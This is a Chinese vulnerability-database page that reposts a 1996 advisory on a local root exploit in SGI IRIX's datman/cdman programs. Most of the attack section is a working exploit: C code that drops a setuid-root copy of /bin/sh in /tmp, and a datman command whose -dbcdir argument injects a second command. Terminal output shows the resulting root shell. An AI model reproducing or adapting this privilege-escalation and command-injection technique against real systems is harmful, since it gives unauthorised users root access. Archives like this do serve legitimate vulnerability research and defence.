2021年4月8日18:00:59SGI IRIX 6.4 - 'datman'/'cdman' Local Privilege Escalation已关闭评论37 views字数 1196阅读3分59秒阅读模式
SGI IRIX 6.4 - 'datman'/'cdman' Local Privilege Escalation
漏洞ID | 1053344 | 漏洞类型 | |
发布时间 | 1996-12-09 | 更新时间 | 1996-12-09 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | IRIX | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/347/info
A vulnerability exists in the datman/cdman program, as included with Irix 6.2 and 5.3 from Silicon Graphics Inc. The vulnerability would allow arbitrary users to execute commands as root.
The datman/cdman program will search for the existance of a .cdplayerrc in the users home directory. If it is found, and no .cddb directory is found, cdman will run the cddbcvt program. This program is invoked with the names of both the old and new databases via a system() call. Because of this, it is possible to substitute the names of the database with a command to be executed.
% cat > /tmp/makesh.c
main()
{
seteuid(0); setegid(0);
system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");
}
% cc /tmp/makesh.c -o /tmp/makesh
% mv .cddb .cddb.old
% touch .cdplayerrc
% /usr/sbin/datman -dbcdir "/tmp/blah;/tmp/makesh"
Created "/tmp/blah"
Converting /home/medc2/yuri/.cdplayerrc into /tmp/blah
% ls -l /tmp/sh
-r-sr-sr-x 1 root sys 140784 Dec 9 15:24 /tmp/sh*
相关推荐: WordPress Ninja Forms Contact Form 输入验证错误漏洞
WordPress Ninja Forms Contact Form 输入验证错误漏洞 漏洞ID 2405670 漏洞类型 输入验证错误 发布时间 2021-04-05 更新时间 2021-04-06 CVE编号 CVE-2021-24165 CNNVD-ID…
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论